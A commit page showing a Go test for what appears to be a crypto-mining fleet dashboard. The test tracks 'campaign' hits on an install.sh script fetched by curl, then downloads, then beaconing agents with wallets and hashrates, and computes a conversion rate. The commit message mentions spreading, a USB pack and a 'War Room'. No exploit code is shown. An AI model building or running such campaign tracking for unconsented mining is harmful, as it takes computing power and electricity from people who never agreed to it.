feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -9,16 +9,53 @@ import (
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
d := openTestDB(t)
defer d.Close()
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventDownload, "get", "10.0.0.2", "curl"); err != nil {
t.Fatal(err)
}
hits, err := d.ListCampaignHits(10)
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" || hits[0].Count != 2 {
t.Fatalf("hits=%v err=%v", hits, err)
}
war, err := d.ListWarRoom(7)
if err != nil {
t.Fatal(err)
}
if len(war.Campaigns) != 1 {
t.Fatalf("war room campaigns=%v", war.Campaigns)
}
c := war.Campaigns[0]
if c.Hits != 1 || c.Downloads != 1 {
t.Fatalf("funnel hits=%d downloads=%d", c.Hits, c.Downloads)
}
a := &models.Agent{
ID: "ag-1", Name: "w1", Wallet: "w", IP: "10.0.0.3", Version: "1",
Status: "online", CPUCores: 4, MemoryGB: 8, LastSeen: time.Now(),
Campaign: "wave-a", Hashrate15m: 1200,
}
if err := d.UpsertAgent(a); err != nil {
t.Fatal(err)
}
_ = d.UpdateAgentStats("ag-1", 0, 0, 1200, 0, 0, 0, 0, 0, 0)
war, err = d.ListWarRoom(7)
if err != nil {
t.Fatal(err)
}
c = war.Campaigns[0]
if c.Agents != 1 || c.FirstBeacon != 1 || c.Mining != 1 || c.Online != 1 || c.Hashrate != 1200 {
t.Fatalf("agents=%d beacon=%d mining=%d online=%d hashrate=%v",
c.Agents, c.FirstBeacon, c.Mining, c.Online, c.Hashrate)
}
if c.ConversionPct != 100 {
t.Fatalf("conversion=%v want 100", c.ConversionPct)
}
b1 := &models.BuildRecord{
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "linux", CreatedAt: time.Now(),